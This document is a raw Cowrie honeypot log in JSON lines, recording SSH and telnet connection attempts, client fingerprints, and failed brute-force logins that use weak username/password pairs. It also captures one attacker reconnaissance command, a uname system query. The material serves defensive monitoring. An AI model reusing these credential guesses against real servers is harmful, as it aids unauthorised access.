{"eventid":"cowrie.login.failed","username":"root","password":"Zhang@123","message":"login attempt [root/Zhang@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:48.332237Z","src_ip":"102.210.148.92","session":"ae5dd0b000c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":44876,"dst_ip":"159.203.135.109","dst_port":22,"session":"3164f50c46ca","protocol":"ssh","message":"New connection: 147.45.199.80:44876 (159.203.135.109:22) [session: 3164f50c46ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:48.450698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:48.456214Z","src_ip":"147.45.199.80","session":"3164f50c46ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:48.552550Z","src_ip":"147.45.199.80","session":"3164f50c46ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"020783","message":"login attempt [root/020783] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:48.839776Z","src_ip":"147.45.199.80","session":"3164f50c46ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:49.572950Z","src_ip":"102.210.148.92","session":"ae5dd0b000c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:49.870798Z","src_ip":"91.92.40.36","session":"4f269968fad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:49.938179Z","src_ip":"147.45.199.80","session":"3164f50c46ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:50.000771Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:50.004220Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27344,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f9f074944e","protocol":"ssh","message":"New connection: 91.92.40.36:27344 (10.17.0.5:22) [session: c6f9f074944e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:50.495897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:51.555490Z","src_ip":"91.92.40.36","session":"c6f9f074944e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:51.559815Z","src_ip":"91.92.40.36","session":"c6f9f074944e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"1.9","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:51.947828Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:51.952284Z","src_ip":"91.92.40.36","session":"8fc217574588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":71.34504580497742,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:53.363658Z","src_ip":"94.23.66.112","session":"124489c2627f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38756,"dst_ip":"10.17.0.5","dst_port":22,"session":"79ce854eecb1","protocol":"ssh","message":"New connection: 91.92.40.36:38756 (10.17.0.5:22) [session: 79ce854eecb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:57.989949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:58.889839Z","src_ip":"91.92.40.36","session":"79ce854eecb1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:58.893358Z","src_ip":"91.92.40.36","session":"79ce854eecb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:34:59.917074Z","src_ip":"91.92.40.36","session":"c6f9f074944e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:03.176417Z","src_ip":"91.92.40.36","session":"c6f9f074944e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38824,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cd6a174a1ff","protocol":"ssh","message":"New connection: 91.92.40.36:38824 (10.17.0.5:22) [session: 3cd6a174a1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:03.854974Z"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:04.520470Z","src_ip":"91.92.40.36","session":"79ce854eecb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.73362183570862,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:04.755808Z","src_ip":"172.81.62.90","session":"44b7f432871a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:05.914047Z","src_ip":"91.92.40.36","session":"3cd6a174a1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:05.939271Z","src_ip":"91.92.40.36","session":"3cd6a174a1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:07.543779Z","src_ip":"91.92.40.36","session":"79ce854eecb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.494446754455566,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:08.094371Z","src_ip":"172.81.62.90","session":"8694b87451a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32220,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f16322f2c39","protocol":"ssh","message":"New connection: 91.92.40.36:32220 (10.17.0.5:22) [session: 8f16322f2c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:11.643409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:13.650461Z","src_ip":"91.92.40.36","session":"8f16322f2c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:13.653981Z","src_ip":"91.92.40.36","session":"8f16322f2c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"Pass@123","message":"login attempt [server/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:14.637057Z","src_ip":"91.92.40.36","session":"3cd6a174a1ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":51896,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dad2a9e2069","protocol":"ssh","message":"New connection: 103.84.236.242:51896 (159.203.135.109:22) [session: 2dad2a9e2069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:15.329684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:15.334707Z","src_ip":"103.84.236.242","session":"2dad2a9e2069","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:15.567080Z","src_ip":"103.84.236.242","session":"2dad2a9e2069","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pruebas","password":"pruebas123","message":"login attempt [pruebas/pruebas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:16.542399Z","src_ip":"103.84.236.242","session":"2dad2a9e2069","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.7","message":"Connection lost after 13.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:17.593621Z","src_ip":"91.92.40.36","session":"3cd6a174a1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:17.789968Z","src_ip":"103.84.236.242","session":"2dad2a9e2069","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27574,"dst_ip":"10.17.0.5","dst_port":22,"session":"8482338b1330","protocol":"ssh","message":"New connection: 91.92.40.36:27574 (10.17.0.5:22) [session: 8482338b1330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:20.111054Z"}
{"eventid":"cowrie.login.failed","username":"olga","password":"olga","message":"login attempt [olga/olga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:20.454687Z","src_ip":"91.92.40.36","session":"8f16322f2c39","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:22.440271Z","src_ip":"91.92.40.36","session":"8482338b1330","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:22.443510Z","src_ip":"91.92.40.36","session":"8482338b1330","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:23.630518Z","src_ip":"91.92.40.36","session":"8f16322f2c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:29.021499Z","src_ip":"91.92.40.36","session":"8482338b1330","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":57044,"dst_ip":"159.203.135.109","dst_port":22,"session":"fae79417a54a","protocol":"ssh","message":"New connection: 14.63.196.175:57044 (159.203.135.109:22) [session: fae79417a54a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:30.696681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:30.701673Z","src_ip":"14.63.196.175","session":"fae79417a54a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26556,"dst_ip":"10.17.0.5","dst_port":22,"session":"76d696da3786","protocol":"ssh","message":"New connection: 91.92.40.36:26556 (10.17.0.5:22) [session: 76d696da3786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:35:30.822049Z"}
